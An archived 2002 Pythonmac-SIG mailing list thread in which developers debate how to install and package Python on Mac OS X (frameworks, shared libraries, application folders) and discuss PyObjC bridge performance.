~/Developer/Python/Extensions
/Library/Python/Extensions
/Network/Library/Python/Extensions
/Network/Developer/Python/Extensions
/System/Library/Python/Extensions
/Developer/Python/Extensions

API is even provided to generate a list of all Library locations.  
This...

   NSLog(@"%@", 
NSSearchPathForDirectoriesInDomains(NSAllLibrariesDirectory, 
NSAllDomainsMask, NO));

... spews this ...

2002-10-23 09:44:49.917 barf[17140] <CFArray 0x67280 [0xa01303fc]>{type 
= immutable, count = 8, values = (
	0 : <CFString 0x670d0 [0xa01303fc]>{contents = "~/Library"}
	1 : <CFString 0x670f0 [0xa01303fc]>{contents = "~/Developer"}
	2 : <CFString 0x67110 [0xa01303fc]>{contents = "/Library"}
	3 : <CFString 0x67130 [0xa01303fc]>{contents = "/Developer"}
	4 : <CFString 0x67150 [0xa01303fc]>{contents = "/Network/Library"}
	5 : <CFString 0x65bb0 [0xa01303fc]>{contents = "/Network/Developer"}
	6 : <CFString 0x671a0 [0xa01303fc]>{contents = "/System/Library"}
	7 : <CFString 0x671c0 [0xa01303fc]>{contents = "/Developer"}
)}

... and it is a short step to append Python/Extensions to each to come 
up with the paths.  The result can be prepended to sys.path.

The end result is a Python environment that works well for the 
single-user, single-machine mac traditionalist (though, keep in mind, 
there is not a single OS X box on the planet that is really 
single-user!) while scaling cleanly into multi-user, fully networked 
accounts/filesystems, administrator controlled environments.

> I think that applets also should be able to have any necessary modules
> above and beyond what Jaguar Python provides inside the app bundle so
> that they can run on machines without MacPython installed, though. (Or
> maybe BuildApplication could provide this functionality?)

The PyObjC Project Builder template supports this now.  From the 
Project Builder perspective, it was a simple matter of creating a "copy 
files" build phase and copying the modules into the pyobjc/ 
subdirectory of the Resources/ directory.   At app startup, the Python 
entry point simply does....

     import sys
     import os.path
     sys.path.insert(0, os.path.join(sys.path[0], "pyobjc"))

... this makes the assumption that path[0] is the path to the app 
wrapper -- but that is a safe assumption given the way the bootstrap 
executable [including, I believe PythonLauncher] works and its 
interaction with the way Apple's app launching mechanisms work.

b.bum



From antonio@memora.com  Wed Oct 23 16:24:57 2002
From: antonio@memora.com (Antonio L Rodriguez)
Date: Wed, 23 Oct 2002 11:24:57 -0400
Subject: [Pythonmac-SIG] PyObjC Bridge performance
Message-ID: <966FDCE4-E69B-11D6-87CD-00039300D690@memora.com>

Hey all,

First off, the PyObjC bridge clean up work that was done by bbum and  
Ronald is truly truly welcome. I've been eyeing the pyobjc SF project 
wishing it was up to date for 6 months and wishing I knew more about 
the guts of ObjC to get into it. Its cleanup release was just about as 
timely as it could be.

Its been said before (even on this list) but bringing python to cocoa 
is a great idea if only to get more developers like me who look at objc 
syntax and think of chinese algebra. Apple would do well to pick this 
up and make it part of standard OSX.

That said, I'm trying to get a handle on performance. I've read and 
heard that the Java bridge carries with it a penalty that is not worth 
paying for the use of java. Is this the same with the python bridge? On 
startup with python VM is much faster than the java VM which  makes me 
wonder why the pyobjc apps launch at a similar speed to the java bridge 
apps. As an example: I've written a test pyobcj app that handles images 
with NSImage objc objects from python and I am floored by how slow it 
is. Now, I'm pretty sure that this has to do with Cocoa (or perhaps 
with my lack of understanding of how to use the library) and not pyobjc 
but I don't want to rewrite the app in OC to see for myself.

So here is my question to those of you with more bridge experience:

Can the performance penalty (if one exists) be quantified 
order-of-magnitude for those of us that are curious? Perhaps even by 
category, i.e, startup time, memory management, event handling, etc. 
This could also help those of us looking to get involved in identifying 
where to dig into ObjC/Cocoa/pyobjc...

Thanks. Again, getting PyObjc fixed up for 10.2 has been like an early 
Christmas present this year.

Antonio



From johnson@pharmacy.arizona.edu  Wed Oct 23 17:18:28 2002
From: johnson@pharmacy.arizona.edu (Bruce Johnson)
Date: Wed, 23 Oct 2002 09:18:28 -0700
Subject: [Pythonmac-SIG] Re: lets do it really different | let's not and
 say we did.
References: <EMEHPJBEEDANCBAA@mailcity.com>
Message-ID: <3DB6CBD4.5050202@pharmacy.arizona.edu>

kevin parks wrote:
 >
 > 1. UNIX and the terminal are not some kind of diseased thing to be
 > avoided at all costs.Python has a long unixy hertitage that is
 > nothing to be ashamed of, just see how proud linux users are despite
 > it's rough edges. It's powerful, like OS X is. OS X is not OS 9 and
 > is never going to be (if we are lucky).

Nor are they something to be *expected* of people to use, not if you're 
aiming at the Mac user base.

 > 2. Anyone savvy enough to be writing python scripts is smart enough
 > to open the terminal and type % cd /usr/local/bin ; ls

Not necessarily. Lots of people have been using MacPython on OS 9 or 
quite happily for some time without doing any of that.

 > I think that we are bending over backwards to do something really
 > unimportant here.
 >
 > repeat after me: Unix good, csh powerful, OS 9 goodbye Unix good, csh
 > powerful, OS 9 goodbye
 >
 > Unix good, csh powerful, OS 9 goodbye ....

Then get a linux box, if you really believe that. People are not buying 
into OSX because they can get a command line, but because they can get a 
command line AND a rich, well designed, deep GUI interface.

The whole point of OSX is not to banish all that came before, but to 
move forward with it: witness the things (spring-loaded folders) they're 
still adding back.

There are rough edges still in the marriage of the classic simplicity of 
the Mac OS (from a users point of view) and the deep accessibility of 
Unix (from the 'Commandline good, csh powerful' point of view), seeing 
as this debate is going on.

A Python that works *with* the rest of the system as users and the 
System expects it to is a good, even essential thing, even if we have to 
change the way of doing things from the command line.

As it stands, Python on OSX is still a rather large step *backwards* 
from Python on OS9, in terms of functionality and ease of use for the 
average 'Download the installer and double-click on it' user, and that 
is a necessary goal of development.

The idea that you just drop modules into the folder marked 'Extensions' 
or 'Lib' is good from the general user standpoint, even if it does make 
life difficult for the commandline mavens to keep track of.

-- 
Bruce Johnson
University of Arizona
College of Pharmacy
Information Technology Group

Institutions do not have opinions, merely customs





From bbum@codefab.com  Wed Oct 23 17:26:20 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Wed, 23 Oct 2002 12:26:20 -0400
Subject: [Pythonmac-SIG] Re: PyObjC Bridge performance
In-Reply-To: <20021023160003.8999.2443.Mailman@mail.python.org>
Message-ID: <298C67E2-E6A4-11D6-9DF7-000393877AE4@codefab.com>

On Wednesday, October 23, 2002, at 12:00 PM, 
pythonmac-sig-request@python.org wrote:
> First off, the PyObjC bridge clean up work that was done by bbum and
> Ronald is truly truly welcome. I've been eyeing the pyobjc SF project
> wishing it was up to date for 6 months and wishing I knew more about
> the guts of ObjC to get into it. Its cleanup release was just about as
> timely as it could be.

Thank you.  We are currently integrating a set of unit tests that 
validate the bridge and, from that, fixing any major/glaring bugs in 
preparation for pushing out a 0.7.1 release.  Once that is out the 
door, we are looking to clean up everything to move towards a 1.0alpha 
stage.

I have been using the bridge for a while now to build a production 
quality Cocoa application that provides a GUI for a relatively complex 
web services enabled application (www.codefab.com has more 
information).  It works really well, though there are some issues that 
need to be ironed out.  At this point, I can confidently say that both 
my productive and the quality of the product have been improved by the 
introduction of PyObjC into the mix.

> Its been said before (even on this list) but bringing python to cocoa
> is a great idea if only to get more developers like me who look at objc
> syntax and think of chinese algebra. Apple would do well to pick this
> up and make it part of standard OSX.

Please file an enhancement request via bugreport.apple.com asking Apple 
to integrate PyObjC into the release of Python included with OS X.   
Mention that a Project Builder Template exists and enables first class 
Cocoa development in Python and feel free to give them my email address.

The more requests they receive, the more likely it is to happen.    I'm 
quite willing to lose some sleep making sure it happens correctly, if 
Apple decides to "go there".

> .... notes on performance realities deleted ....

> So here is my question to those of you with more bridge experience:
>
> Can the performance penalty (if one exists) be quantified
> order-of-magnitude for those of us that are curious? Perhaps even by
> category, i.e, startup time, memory management, event handling, etc.
> This could also help those of us looking to get involved in identifying
> where to dig into ObjC/Cocoa/pyobjc...

First, the launch times of PyObjC based applications is currently very 
slow because Apple does not ship a complete Python development kit with 
10.2.  Namely, the Python supplied by Apple is missing a library and 
dylib that can be used to embed the Python interpreter into an 
application.   As such, both the Foundation and the AppKit frameworks 
(and all other frameworks that come along with them) have to be 
dynamically loaded via NSBundle's API.   This causes a huge performance 
hit when starting up an application.

In using the Fink build of Python, I did some experiments where I 
embedded the Python interpreter into the application and did not 
"bootstrap" out to the /usr/bin/python interpreter.   Launch times were 
significantly faster, but still not what they should be.

As it stands, the pyobjc module behaves suboptimally when imported into 
Python in that it ends up traversing the entire Obj-C runtime as it 
binds itself into the interpreter.   There is a lot of opportunity for 
optimization within this, but it isn't going to happen before 1.0.

I haven't quantified the cost of messaging between the two environments 
against, say, a regular Python->Python or ObjC->ObjC method invocation. 
   In general, the [potential, but maybe not as currently implemented] 
cost of crossing the bridge under PyObjC is significantly less than the 
cost of crossing the bridge under the Java bridge.

In particular, Python and Objective-C are both dynamic and light weight 
in nature.   As such, it is fairly straightforward to bridge objects 
between the two.  For example, Ronald created a subclass of 
NSMutableDictionary that wraps around a PyDict object-- a python 
dictionary-- such that a dict passed across to the Obj-C side of the 
bridge doesn't have to be converted to the native ObjC collection class 
(for the Java bridge, the developer frequently ends up having to do 
these kinds of conversions because there is no way to do this kind of 
bridging).

In general, performance of a Cocoa application is more a matter of 
appropriately gluing the objects together and less about how fast you 
can implement a particular algorithm.    As such and regardless of 
language chosen, a lot of performance gains can typically be had by, 
say, implementing a better updating/invalidation alogrithm or improving 
data caching.

One of the key advantages of PyObjC is the ability to easily port a 
performance critical piece of code from Python to ObjC.   Do your 
prototyping and development in Python.... if something proves to be a 
performance bottleneck, see if you can't optimize the architecture to 
improve the situation (this goes much faster with Python than ObjC).... 
once the architecture is fairly optimal, port to ObjC if you need more 
performance.

> Thanks. Again, getting PyObjc fixed up for 10.2 has been like an early
> Christmas present this year.

Glad you like it!

> Antonio

b.bum



From lphillip@lcp.nrl.navy.mil  Wed Oct 23 17:55:20 2002
From: lphillip@lcp.nrl.navy.mil (Lee Phillips)
Date: Wed, 23 Oct 2002 12:55:20 -0400
Subject: [Pythonmac-SIG] The unixy stuff in Mac OS X
In-Reply-To: <41C8C632-E68B-11D6-9DF7-000393877AE4@codefab.com>; from bbum@codefab.com on Wed, Oct 23, 2002 at 09:28:03AM -0400
References: <20021023084401.19996.23576.Mailman@mail.python.org> <41C8C632-E68B-11D6-9DF7-000393877AE4@codefab.com>
Message-ID: <20021023125520.A598@bad-bart.lcp.nrl.navy.mil>

And don't forget: you can drag a file or folder from the Finder onto a 
Termianl window to get the object's path typed in. That's my favorite!



From fancher@pacbell.net  Wed Oct 23 19:08:54 2002
From: fancher@pacbell.net (bill fancher)
Date: Wed, 23 Oct 2002 11:08:54 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <F591DB0C-E2DD-11D6-9640-000A27B19B96@oratrix.com>
Message-ID: <7DB40BE4-E6B2-11D6-BA05-0005029E8B13@pacbell.net>

On Friday, October 18, 2002, at 02:09  PM, Jack Jansen wrote:

> Hello folks,
> after arguing myself blue in the face for the last year and finally 
> convincing the majority here that Frameworks Are A Good Thing

I wasn't convinced, I deferred.;-)

>  I feel the time has come to reverse my position. Or, at least, I'm 
> not as convinced as I was. And I think I can see advantages with going 
> non-framework. Or at least keeping both options open. I don't know, 
> just read on and comment, please.
>
> The framework option has the following advantages:
> 1. Easy installation and de-installation, everything lives in 
> /Library/Frameworks/Python.framework or /Applications/Python.
> 2. Allows us to do applets (such as the IDE) without duplicating big 
> binaries.
> 3. Allows us to do "pythonw" and "PythonLauncher": running Python 
> scripts with a GUI that appear normally in the dock, etc.
> 4. Allows us to share a single Python engine between Python and all 
> embedders of Python (such as the Python OSA component).
>
> I think we can do an architecture without frameworks that will allow 
> us to do all of these except 4.

Embedders are hosed with the Apple installation from the start. There's 
no libpython.a, let alone a libpython.dylib. We should provide a 
libpython.dylib for the present, and make it part of the default 
installation in 2.3. Then all the problems with big executables go 
away. Embedders are happy. And we won't have to continue providing it 
once it works its way through channels and Apple starts distributing it 
with the OS. More importantly, we don't have to redo the applet 
architecture (either now or to change it back to take advantage of 
shared libraries in the future.)

> To start we build on the existing Apple-installed /usr/bin/python (or 
> any other pre-installed Python, from fink or whereever). So, our 
> MacPython-OSX installer does not necessarily include Python itself.

But it should include the library that went missing somewhere along the 
way. Again let me stress that that is version specific, and it 
addresses a deficiency in the current Apple installation.

>  This gives two immediate advantages: we can stuff everything into 
> /Applications/Python (making installation and de-installation even 
> easier) and we can do a MacPython-OSX distribution without waiting for 
> Python 2.3. This would give people like Walt a decent way to explore 
> Python through the IDE, without having to learn about the unix command 
> line.

You can still do that with everything but the library. And that's only 
in 2.2. After that, everything is once again in /Applications/Python 
(or in Library/Frameworks).

> Applets we do with a two-stage approach. First, each applet will have 
> a symlink Contents/MacOS/python pointing to /usr/bin/python. Second, 
> the main binary of the applet .app bundle (CFBundleExecutable) will be 
> Contents/MacOS/runapplet. This is a small program that finds the 
> applet file and calls ..../Contents/MacOS/Python with the applet code 
> as argv[1]. The rest of appletrunners args are also passed through. 
> This is the bit that needs to be tested, but I think that if we do 
> things this way the final executable will have an argv[0] that points 
> into the .app bundle, and thereby the window services initialization 
> code will work.

This would probably work, but is unnecessary with a shared library.

> "pythonw" is now easy: we can just use the Contents/MacOS/python from 
> any applet. We could use the PythonIDE, but as that would give every 
> running Python GUI script the IDE icon in the dock it may be nicer to 
> put an empty applet PythonW.app into 
> /Applications/Python/PythonIDE.app/Contents/Resources.
>
> PythonLauncher basically doesn't change.
>
> A last issue is where we put our nifty Mac modules (that are now in 
> Mac/Lib inside the framework, plus _waste.so and anything else that we 
> need and that's missing from the 2.2 that Apple distributes). One 
> option would be to install them into 
> /usr/lib/python2.2/Lib/site-packages. A possibly nicer option would be 
> to also put them somewhere in Contents/Resources of the IDE, and put a 
> MacPython.pth file into site-packages.

I agree with the .pth file in site packages, but worry about putting 
all the MacPython stuff in PythonIDE. What if someone trashes it? ("I 
don't want to develop Python apps, so I don't need this big fat 
application...") All the MacPython dependent stuff is suddenly broken.

With a shared library, you can dress the whole thing up as a framework 
and put the Mac specific stuff there. Once Apple starts distributing 
the shared library, EVERYTHING gets installed in "user friendly 
places", i.e. in /Library/Frameworks or /Applications/Python. In the 
meanwhile, we've got a left-over shared library in /usr/lib/python2.2.

OTOH, you can delete any app without trashing any other app, since 
everything we install, or subsequently create, links against the shared 
library. And trashing the framework breaks them all, as expected.

--
bill



From Chris.Barker@noaa.gov  Wed Oct 23 17:50:12 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Wed, 23 Oct 2002 09:50:12 -0700
Subject: [Pythonmac-SIG] Doing it differently:  Module management /
 installation
References: <9A33F280-E6B2-11D6-9DF7-000393877AE4@codefab.com>
Message-ID: <3DB6D344.2A2399CA@noaa.gov>

Oops, I sent my last note to Bill, rather than the list. Does anyone
know why the replyto field is not set to the list?

Bill Bumgarner wrote:
> On Wednesday, October 23, 2002, at 12:24 PM, Chris Barker wrote:
> > Bill Bumgarner wrote:
> >> In general, there should be no requirement that anything be installed
> >> in /Applications.   /Applications is Apple's domain and third parties
> >> shouldn't touch it
> > Huh? then where in the world SHOULD third party applications be
> > installed???? Apple doesn't seem to have provided an equivalent of /usr
> > vs. /usr/local for non-unixy applications.
> 
> ~/Applications -- create an Applications directory hanging off your
> home account.
> 
> That Apple didn't do this was a glaringly stupid oversight.   It should
> be a part of the standard Account template.

Agreed. however, that still begs the question as to where administrator
installed non-apple applications should go. Your first comment implied
that they shouldn't go in /Applications. On the unix side, this stuff
should go in /usr/local/*

> >> requiring anything to be dropped in
> >> /Applications prevents any user who does not have admin rights from
> >> installing the software-- basically, it eliminates the installation of
> >> the software by any student using a lab computer unless the network
> >> admins sanction it.
> >
> > Good point. There clearly should be a /Users/myusername/Applications
> > folder. Apple didn't provide one by default...where does Apple want to
> > put user-installed applications? Or do they want them to be scattered
> > all over the system, in the traditional MacOS way? IN any case, if
> > there
> > is an Apple sactioned place to put user installed apps, we should
> > probably use it. Otherwise, An Applications folder in the users folder
> > makes sense to me.
> 
> In theory, the apps can go anywhere.   In practice, the system looks in
> these locations (but if you launch an app from somewhere else, it'll be
> found from then on):
> 
> 2002-10-23 14:07:01.885 barf[17625] <CFArray 0x593c0 [0xa01303fc]>{type
> = immutable, count = 12, values = (
>         0 : <CFString 0x590d0 [0xa01303fc]>{contents = "~/Applications"}
>         1 : <CFString 0x590f0 [0xa01303fc]>{contents =
> "~/Applications/Utilities"}
>         2 : <CFString 0x59120 [0xa01303fc]>{contents =
> "~/Developer/Applications"}
>         3 : <CFString 0x59150 [0xa01303fc]>{contents =
> "~/Applications/GrabBag"}
>         4 : <CFString 0x59180 [0xa01303fc]>{contents = "/Applications"}
>         5 : <CFString 0x591d0 [0xa01303fc]>{contents =
> "/Applications/Utilities"}
>         6 : <CFString 0x59200 [0xa01303fc]>{contents =
> "/Developer/Applications"}
>         7 : <CFString 0x59230 [0xa01303fc]>{contents = "/Applications/GrabBag"}
>         8 : <CFString 0x59260 [0xa01303fc]>{contents = "/Network/Applications"}
>         9 : <CFString 0x591a0 [0xa01303fc]>{contents =
> "/Network/Applications/Utilities"}
>         10 : <CFString 0x592e0 [0xa01303fc]>{contents =
> "/Network/Developer/Applications"}
>         11 : <CFString 0x59310 [0xa01303fc]>{contents =
> "/Network/Applications/GrabBag"}
> )}
> 
> Wow.  GrabBag.  That's a new one.
> 
> >
> >> The end result is a Python environment that works well for the
> >> single-user, single-machine mac traditionalist (though, keep in mind,
> >> there is not a single OS X box on the planet that is really
> >> single-user!) while scaling cleanly into multi-user, fully networked
> >> accounts/filesystems, administrator controlled environments.
> >
> > That is a worthy goal. Certainly, a full Python installation should be
> > able to be partially in system locations, and partially in user
> > locations.
> 
> Ideally, a user should be able to install all of the various random
> Python extensions that don't ship w/the system installed Python in
> their home account and it should "just work".

Exactly. I imagine that on most true multi-user system, the adminstrator
will install some Python packages, and the users will install others.
These should all be able to work together.

-Chris


-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From Chris.Barker@noaa.gov  Wed Oct 23 17:58:24 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Wed, 23 Oct 2002 09:58:24 -0700
Subject: [Pythonmac-SIG] Re: lets do it really different | let's not and say
 we did.
References: <EMEHPJBEEDANCBAA@mailcity.com>
Message-ID: <3DB6D530.5607BEAD@noaa.gov>

kevin parks wrote:
> 2. Anyone savvy enough to be writing python scripts is smart enough to open the terminal and type % cd /usr/local/bin ; ls

yes, but that doesn't mean they want to. Your point about Linux is true,
but if someone is really happy in that enviroment (like me, for
instance) then they will use Linux, and not OS-X. OS-X appeals to folks
that don't want to type things on the command line.

Also while the folks doing real development with Python will mostly be
OK with a little command line action, that doesn't mean that the users
of the programs they write will be. I envision using Python to write all
sorts of littel applets and scripts for my wortk, and I want to be able
to distribute them to my non-programmer co-workers easily. Having an
easy-to install Python distibution is key to this.

> repeat after me: Unix good, csh powerful, OS 9 goodbye
> Unix good, csh powerful, OS 9 goodbye

Believe me, that is my constant mantra, but if OS-X offers anything that
Linux doesn't, it's the "Mac experience", and people do like that.

-Chris


-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From mday@mac.com  Wed Oct 23 19:37:31 2002
From: mday@mac.com (Mark Day)
Date: Wed, 23 Oct 2002 11:37:31 -0700
Subject: [Pythonmac-SIG] Doing it differently:  Module management /   installation
In-Reply-To: <3DB6D344.2A2399CA@noaa.gov>
Message-ID: <7D7F4CCA-E6B6-11D6-9C69-00039354009A@mac.com>

--Apple-Mail-6--891006674
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	delsp=yes;
	charset=US-ASCII;
	format=flowed


On Wednesday, October 23, 2002, at 09:50  AM, Chris Barker wrote:

> Bill Bumgarner wrote:
>> On Wednesday, October 23, 2002, at 12:24 PM, Chris Barker wrote:
>>> Bill Bumgarner wrote:
>>>> In general, there should be no requirement that anything be  
>>>> installed
>>>> in /Applications.   /Applications is Apple's domain and third  
>>>> parties
>>>> shouldn't touch it
>>> Huh? then where in the world SHOULD third party applications be
>>> installed???? Apple doesn't seem to have provided an equivalent of  
>>> /usr
>>> vs. /usr/local for non-unixy applications.
>>
>> ~/Applications -- create an Applications directory hanging off your
>> home account.
>>
>> That Apple didn't do this was a glaringly stupid oversight.   It  
>> should
>> be a part of the standard Account template.
>
> Agreed. however, that still begs the question as to where administrator
> installed non-apple applications should go. Your first comment implied
> that they shouldn't go in /Applications. On the unix side, this stuff
> should go in /usr/local/*

Quoting from the Mac OS X System Overview:
<http://developer.apple.com/techpubs/macosx/Essentials/SystemOverview/ 
FileSystem/index.html>

Administrators of a computer can install resources into the local  
domain if they want those resources to be shared by all users of the  
system. Apple ships its applications in the /Applications and  
/Applications/Utilities directories. Third party applications and  
utilities should also be placed in these directories.

-Mark

--Apple-Mail-6--891006674
Content-Transfer-Encoding: 7bit
Content-Type: text/enriched;
	charset=US-ASCII



On Wednesday, October 23, 2002, at 09:50  AM, Chris Barker wrote:


<excerpt>Bill Bumgarner wrote:

<excerpt>On Wednesday, October 23, 2002, at 12:24 PM, Chris Barker
wrote:

<excerpt>Bill Bumgarner wrote:

<excerpt>In general, there should be no requirement that anything be
installed

in /Applications.   /Applications is Apple's domain and third parties

shouldn't touch it

</excerpt>Huh? then where in the world SHOULD third party applications
be

installed???? Apple doesn't seem to have provided an equivalent of /usr

vs. /usr/local for non-unixy applications.

</excerpt>

~/Applications -- create an Applications directory hanging off your

home account.


That Apple didn't do this was a glaringly stupid oversight.   It should

be a part of the standard Account template.

</excerpt>

Agreed. however, that still begs the question as to where administrator

installed non-apple applications should go. Your first comment implied

that they shouldn't go in /Applications. On the unix side, this stuff

should go in /usr/local/*

</excerpt>

Quoting from the Mac OS X System Overview:

<<http://developer.apple.com/techpubs/macosx/Essentials/SystemOverview/FileSystem/index.html>


<fontfamily><param>Times New Roman</param><bigger><bigger>Administrators
of a computer can install resources into the local domain if they want
those resources to be shared by all users of the system. Apple ships
its applications in the
</bigger></bigger></fontfamily><fixed><fontfamily><param>Courier New</param>/Applications</fontfamily></fixed><fontfamily><param>Times New Roman</param><bigger><bigger>
and
</bigger></bigger></fontfamily><fixed><fontfamily><param>Courier New</param>/Applications/Utilities</fontfamily></fixed><fontfamily><param>Times New Roman</param><bigger><bigger>
directories. Third party applications and utilities should also be
placed in these directories.

</bigger></bigger></fontfamily>

-Mark


--Apple-Mail-6--891006674--



From alexp@strata.com  Wed Oct 23 20:20:09 2002
From: alexp@strata.com (Alexandre Parenteau)
Date: Wed, 23 Oct 2002 12:20:09 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <7DB40BE4-E6B2-11D6-BA05-0005029E8B13@pacbell.net>
Message-ID: <B9DC4479.867F%alexp@strata.com>

Hi,

Let me point out something, and I don't really answer that to bill, but in
relation to the thread : we don't have to deal or worry with Apple's
installation of python. Python is not a critical, or even Apple component
for Apple. Whatever we'll find useful, they'll probably use.

So augmenting the so called "Apple installation" has no appeal for me. I
would rather have *one* installation, which can extend beyond the command
line. And Apple will probably use it.

I was quite happy with the current direction, so I fail to understand why
Frameworks are not good anymore (independently of really needing it for
embedding). Keeping the nice integration to the mac is the critical point, I
would argue, and whether we use frameworks or dylib is not relevant to me.
But whatever replaces the current scheme has to be better for applets, IDE
and other mac specific goodies in my mind.

Thanks,
Alex.

> 
> On Friday, October 18, 2002, at 02:09  PM, Jack Jansen wrote:
> 
>> Hello folks,
>> after arguing myself blue in the face for the last year and finally
>> convincing the majority here that Frameworks Are A Good Thing
> 
> I wasn't convinced, I deferred.;-)
> 
>>  I feel the time has come to reverse my position. Or, at least, I'm
>> not as convinced as I was. And I think I can see advantages with going
>> non-framework. Or at least keeping both options open. I don't know,
>> just read on and comment, please.
>> 
>> The framework option has the following advantages:
>> 1. Easy installation and de-installation, everything lives in
>> /Library/Frameworks/Python.framework or /Applications/Python.
>> 2. Allows us to do applets (such as the IDE) without duplicating big
>> binaries.
>> 3. Allows us to do "pythonw" and "PythonLauncher": running Python
>> scripts with a GUI that appear normally in the dock, etc.
>> 4. Allows us to share a single Python engine between Python and all
>> embedders of Python (such as the Python OSA component).
>> 
>> I think we can do an architecture without frameworks that will allow
>> us to do all of these except 4.
> 
> Embedders are hosed with the Apple installation from the start. There's
> no libpython.a, let alone a libpython.dylib. We should provide a
> libpython.dylib for the present, and make it part of the default
> installation in 2.3. Then all the problems with big executables go
> away. Embedders are happy. And we won't have to continue providing it
> once it works its way through channels and Apple starts distributing it
> with the OS. More importantly, we don't have to redo the applet
> architecture (either now or to change it back to take advantage of
> shared libraries in the future.)
> 
>> To start we build on the existing Apple-installed /usr/bin/python (or
>> any other pre-installed Python, from fink or whereever). So, our
>> MacPython-OSX installer does not necessarily include Python itself.
> 
> But it should include the library that went missing somewhere along the
> way. Again let me stress that that is version specific, and it
> addresses a deficiency in the current Apple installation.
> 
>>  This gives two immediate advantages: we can stuff everything into
>> /Applications/Python (making installation and de-installation even
>> easier) and we can do a MacPython-OSX distribution without waiting for
>> Python 2.3. This would give people like Walt a decent way to explore
>> Python through the IDE, without having to learn about the unix command
>> line.
> 
> You can still do that with everything but the library. And that's only
> in 2.2. After that, everything is once again in /Applications/Python
> (or in Library/Frameworks).
> 
>> Applets we do with a two-stage approach. First, each applet will have
>> a symlink Contents/MacOS/python pointing to /usr/bin/python. Second,
>> the main binary of the applet .app bundle (CFBundleExecutable) will be
>> Contents/MacOS/runapplet. This is a small program that finds the
>> applet file and calls ..../Contents/MacOS/Python with the applet code
>> as argv[1]. The rest of appletrunners args are also passed through.
>> This is the bit that needs to be tested, but I think that if we do
>> things this way the final executable will have an argv[0] that points
>> into the .app bundle, and thereby the window services initialization
>> code will work.
> 
> This would probably work, but is unnecessary with a shared library.
> 
>> "pythonw" is now easy: we can just use the Contents/MacOS/python from
>> any applet. We could use the PythonIDE, but as that would give every
>> running Python GUI script the IDE icon in the dock it may be nicer to
>> put an empty applet PythonW.app into
>> /Applications/Python/PythonIDE.app/Contents/Resources.
>> 
>> PythonLauncher basically doesn't change.
>> 
>> A last issue is where we put our nifty Mac modules (that are now in
>> Mac/Lib inside the framework, plus _waste.so and anything else that we
>> need and that's missing from the 2.2 that Apple distributes). One
>> option would be to install them into
>> /usr/lib/python2.2/Lib/site-packages. A possibly nicer option would be
>> to also put them somewhere in Contents/Resources of the IDE, and put a
>> MacPython.pth file into site-packages.
> 
> I agree with the .pth file in site packages, but worry about putting
> all the MacPython stuff in PythonIDE. What if someone trashes it? ("I
> don't want to develop Python apps, so I don't need this big fat
> application...") All the MacPython dependent stuff is suddenly broken.
> 
> With a shared library, you can dress the whole thing up as a framework
> and put the Mac specific stuff there. Once Apple starts distributing
> the shared library, EVERYTHING gets installed in "user friendly
> places", i.e. in /Library/Frameworks or /Applications/Python. In the
> meanwhile, we've got a left-over shared library in /usr/lib/python2.2.
> 
> OTOH, you can delete any app without trashing any other app, since
> everything we install, or subsequently create, links against the shared
> library. And trashing the framework breaks them all, as expected.
> 
> --
> bill
> 
> 
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
> 



From alexp@strata.com  Wed Oct 23 20:35:24 2002
From: alexp@strata.com (Alexandre Parenteau)
Date: Wed, 23 Oct 2002 12:35:24 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <B9DC4479.867F%alexp@strata.com>
Message-ID: <B9DC480C.8689%alexp@strata.com>

Oops,

And sorry I forget to add : from my heart, I hope fink is not going to
continue to distribute python. I hate added systems, although I use them all
the time : fink, cygwin.

Fink usually don't ship components which are already well integrated, or
being supported on OSX. Python should logically (hopefully) be one of them.

Alex.

> Hi,
> 
> Let me point out something, and I don't really answer that to bill, but in
> relation to the thread : we don't have to deal or worry with Apple's
> installation of python. Python is not a critical, or even Apple component
> for Apple. Whatever we'll find useful, they'll probably use.
> 
> So augmenting the so called "Apple installation" has no appeal for me. I
> would rather have *one* installation, which can extend beyond the command
> line. And Apple will probably use it.
> 
> I was quite happy with the current direction, so I fail to understand why
> Frameworks are not good anymore (independently of really needing it for
> embedding). Keeping the nice integration to the mac is the critical point, I
> would argue, and whether we use frameworks or dylib is not relevant to me.
> But whatever replaces the current scheme has to be better for applets, IDE
> and other mac specific goodies in my mind.
> 
> Thanks,
> Alex.



From bbum@codefab.com  Wed Oct 23 20:50:57 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Wed, 23 Oct 2002 15:50:57 -0400
Subject: [Pythonmac-SIG] Re: Apple's install vs. a custom install of Python
In-Reply-To: <20021023192301.16449.66819.Mailman@mail.python.org>
Message-ID: <BF4A66A7-E6C0-11D6-9DF7-000393877AE4@codefab.com>

If the goal is merely to render the best possible Python runtime 
environment on the planet, I agree with Alex's statement wholeheartedly.

While that is a motivator, it is not *my* goal for the Python on OS X 
and I hope it isn't the goal of this community (if it is, I'll go focus 
solely on PyObjC again like I did when OS X original shipped and the 
direction of the Python community was clear -- not that I thought the 
direction was wrong, it just wasn't right for *me*).

I am hoping that the goal is to allow third party developers to ship 
first class, standalone OS X applications that their customers can use 
and enjoy to the fullest extent that OS X and the developer's product 
provide.

Notice that the word "Python" does not come up in that sentence.   That 
is on purpose.   To achieve this goal, the end user should not be 
remotely aware that Python played any role in the construction of the 
application any more than they should care if Carbon or Cocoa was used!

To pull this off requires two things:

     - the end user of said applications does not have to install 
anything for the app to work;  the app wrapper (or installer, if the 
developer so chooses to go that route-- no reason to do so unless you 
are integrating something into the system) should be entirely self 
contained

     - the application should not be a gigantic hunk of bloatware.   
Both MacPython and Python 2.1 for OS X weigh in at more than 5MB -- 
that's before you have even thought about sticking the app specific 
stuff on it.

